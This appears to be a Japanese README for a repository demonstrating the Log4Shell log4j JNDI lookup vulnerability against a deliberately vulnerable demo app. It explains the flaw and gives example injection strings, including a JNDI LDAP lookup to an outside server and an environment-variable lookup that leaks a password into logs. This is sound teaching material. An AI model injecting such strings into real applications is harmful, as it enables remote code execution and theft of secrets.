log4jエクスプロイトの例

このリポジトリには、最近のlog4jエクスプロイトを悪用する動作サンプルが含まれています。実際のリモートコード実行は行いませんが、悪意のある攻撃者が脆弱なアプリケーションに自身のLDAPサーバへのコールを簡単に仕掛けられることを示しています。

このサンプルは、christophetd氏の優れたlog4j脆弱性アプリを利用しています: https://github.com/christophetd/log4shell-vulnerable-app

解説

この脆弱性は、log4jのlookup機能、特にjndiを悪用します。これにより、log4jは外部ホストからデータを取り込むためのルックアップを実行できます。これは、環境内の機密変数のログ出力からリモートコード実行まで、あらゆることに悪用される可能性があります。

ロガーが呼び出された際、${}で囲まれたテキストはすべてルックアップの対象となります。例えば、

${jndi:ldap://someldapserver:1389/o=example}

は、指定されたクエリでそのLDAPサーバにルックアップを行い、結果を出力します。

jndiを使用しないが、それでも危険なより単純な例:

${env:PASSWORD}

これは、その環境変数の内容をログに出力します。その後、そのログにアクセスできる者がアプリケーションの機密データを抽出できる可能性があります。

このエクスプロイトが悪用されるためのlog4jのコードは非常に単純です。リクエストのあるプロパティをサニタイズせずにログに記録するために、ロガーを呼び出すだけです。例えば、User-Agentの内容をログに記録できます。